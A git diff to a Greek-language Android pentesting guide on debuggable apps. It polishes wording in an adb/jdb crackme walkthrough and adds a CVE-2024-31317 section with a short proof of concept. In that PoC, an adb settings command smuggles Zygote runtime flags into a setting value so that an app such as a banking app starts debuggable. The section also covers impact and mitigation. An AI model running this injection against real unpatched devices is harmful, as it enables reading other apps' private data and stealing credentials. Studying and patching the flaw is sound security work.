diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 64b1ba3da..2b3a1d314 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -15,7 +15,7 @@ 1. **Αποσυμπίεση του APK:** - Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυμπίεση του APK. -- Στο αρχείο _android-manifest_, προσθέστε `android:debuggable=true` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης. +- Στο αρχείο _android-manifest_, εισάγετε `android:debuggable="true"` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης. - Επανασυμπιέστε, υπογράψτε και zipalign την τροποποιημένη εφαρμογή. 2. **Εγκατάσταση της τροποποιημένης εφαρμογής:** @@ -24,13 +24,13 @@ 3. **Ανάκτηση του ονόματος πακέτου:** -- Εκτελέστε `adb shell pm list packages –3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα του πακέτου. +- Εκτελέστε `adb shell pm list packages –3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα πακέτου. 4. **Ρύθμιση της εφαρμογής να περιμένει σύνδεση αποσφαλμάτωσης:** - Εντολή: `adb shell am setup-debug-app –w `. - **Σημείωση:** Αυτή η εντολή πρέπει να εκτελείται κάθε φορά πριν ξεκινήσει η εφαρμογή για να διασφαλιστεί ότι περιμένει τον αποσφαλματωτή. -- Για μόνιμη ρύθμιση, χρησιμοποιήστε `adb shell am setup-debug-app –w -–persistent `. +- Για μόνιμη ρύθμιση, χρησιμοποιήστε `adb shell am setup-debug-app –w ––persistent `. - Για να αφαιρέσετε όλες τις σημαίες, χρησιμοποιήστε `adb shell am clear-debug-app `. 5. **Προετοιμασία για αποσφαλμάτωση στο Android Studio:** @@ -59,11 +59,11 @@ # **Εκμετάλλευση μιας ευπάθειας** -Παρέχεται μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Ο στόχος είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας. +Παρέχεται μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Σκοπός είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας. ## **Έλεγχος για ευπάθεια** -- Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας το `apktool` για να αποκτήσετε πρόσβαση στο αρχείο `AndroidManifest.xml`. +- Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας το `apktool` για να αποκτήσει πρόσβαση στο αρχείο `AndroidManifest.xml`. - Η παρουσία του `android_debuggable="true"` στο AndroidManifest.xml υποδεικνύει ότι η εφαρμογή είναι αποσφαλματώσιμη και επιρρεπής σε εκμετάλλευση. - Αξιοσημείωτο είναι ότι το `apktool` χρησιμοποιείται αποκλειστικά για να ελέγξει την κατάσταση αποσφαλμάτωσης χωρίς να τροποποιήσει κανέναν κώδικα. @@ -71,7 +71,7 @@ - Η διαδικασία περιλάμβανε την εκκίνηση ενός εξομοιωτή, την εγκατάσταση της ευάλωτης εφαρμογής και τη χρήση του `adb jdwp` για να εντοπιστούν οι θύρες Dalvik VM που ακούνε. - Το JDWP (Java Debug Wire Protocol) επιτρέπει την αποσφαλμάτωση μιας εφαρμογής που εκτελείται σε μια VM εκθέτοντας μια μοναδική θύρα. -- Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχευμένη εφαρμογή. +- Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχοθετημένη εφαρμογή. ## **Εισαγωγή κώδικα κατά την εκτέλεση** @@ -79,13 +79,49 @@ - Εντολές όπως `classes` και `methods ` χρησιμοποιήθηκαν για να αποκαλύψουν τη δομή της εφαρμογής. - Ένα σημείο διακοπής τοποθετήθηκε στη μέθοδο `onClick`, και η εκτέλεσή της ελέγχθηκε. - Οι εντολές `locals`, `next`, και `set` χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ιδιαίτερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked". -- Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή `run`, επιτυχώς αλλάζοντας την έξοδο της εφαρμογής σε πραγματικό χρόνο. +- Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή `run`, αλλάζοντας με επιτυχία την έξοδο της εφαρμογής σε πραγματικό χρόνο. -Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειραγωγηθεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα πιο σύνθετων εκμεταλλεύσεων όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής. +Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειριστεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής. + +--- + +# 2024 – Μετατρέποντας **οποιαδήποτε** εφαρμογή σε αποσφαλματώσιμη διαδικασία (CVE-2024-31317) + +Ακόμα και αν το στοχευόμενο APK _δεν_ αποστέλλεται με τη σημαία `android:debuggable`, πρόσφατη έρευνα έδειξε ότι είναι δυνατό να αναγκαστούν **τυχαίες εφαρμογές** να ξεκινούν με τη σημαία χρόνου εκτέλεσης `DEBUG_ENABLE_JDWP` εκμεταλλευόμενοι τον τρόπο που ο Zygote αναλύει τα επιχειρήματα γραμμής εντολών. + +* **Ευπάθεια:** Ακατάλληλη επικύρωση των `--runtime-flags` που παρέχονται μέσω της υποδοχής εντολών του Zygote επιτρέπει σε έναν επιτιθέμενο που μπορεί να φτάσει στο `system_server` (για παράδειγμα μέσω της προνομιακής `adb` shell που κατέχει την άδεια `WRITE_SECURE_SETTINGS`) να εισάγει επιπλέον παραμέτρους. Όταν η κατασκευασμένη εντολή αναπαράγεται από το `system_server`, η εφαρμογή-στόχος δημιουργείται ως _αποσφαλματώσιμη_ και με ένα νήμα JDWP να ακούει. Το ζήτημα παρακολουθείται ως **CVE-2024-31317** και διορθώθηκε στο Android Security Bulletin του Ιουνίου 2024. +* **Επίπτωση:** Πλήρης πρόσβαση ανάγνωσης/εγγραφής στον ιδιωτικό κατάλογο δεδομένων **οποιασδήποτε** εφαρμογής (συμπεριλαμβανομένων των προνομιακών όπως το `com.android.settings`), κλοπή διαπιστευτηρίων, παράκαμψη MDM, και σε πολλές περιπτώσεις άμεσος δρόμος για κλιμάκωση προνομίων εκμεταλλευόμενος τα εξαγόμενα IPC endpoints της τώρα αποσφαλματώσιμης διαδικασίας. +* **Επηρεαζόμενες εκδόσεις:** Android 9 έως 14 πριν από το επίπεδο επιδιόρθωσης του Ιουνίου 2024. + +## Γρήγορο PoC +```bash +# Requires: adb shell (device must be <2024-06-01 patch-level) +# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag +adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" + +# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP +adb shell monkey -p com.victim.bank 1 + +# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio +adb jdwp # obtain the PID +adb forward tcp:8700 jdwp: +jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 +``` +> Η κατασκευασμένη τιμή στο βήμα 1 σπάει τον αναλυτή από την "γρήγορη διαδρομή" και προσθέτει μια δεύτερη συνθετική εντολή όπου `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) γίνεται αποδεκτή σαν να είχε παρασχεθεί από το πλαίσιο. Μόλις η εφαρμογή ξεκινήσει, ανοίγει ένα JDWP socket και είναι δυνατές οι κανονικές τεχνικές δυναμικού debugging (αντικατάσταση μεθόδου, patching μεταβλητών, ζωντανή ένεση Frida, κ.λπ.) **χωρίς να τροποποιηθεί το APK ή η εικόνα εκκίνησης της συσκευής**. + +## Ανίχνευση & Μετριασμός + +* Ενημερώστε σε **2024-06-01** (ή αργότερα) επίπεδο ασφαλείας – Η Google ενίσχυσε το `ZygoteCommandBuffer` έτσι ώστε οι επόμενες εντολές να μην μπορούν να λαθραία εισαχθούν με αυτόν τον τρόπο. +* Περιορίστε την πρόσβαση `WRITE_SECURE_SETTINGS` / `shell` σε παραγωγικές συσκευές. Η εκμετάλλευση απαιτεί αυτή την άδεια, η οποία κανονικά κατέχεται μόνο από εφαρμογές ADB ή OEM-privileged. +* Σε στόλους που διαχειρίζονται EMM/MDM, επιβάλετε `ro.debuggable=0` και αρνηθείτε την πρόσβαση shell μέσω `adb disable-verifier`. + +--- ## Αναφορές - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) +- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) +- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}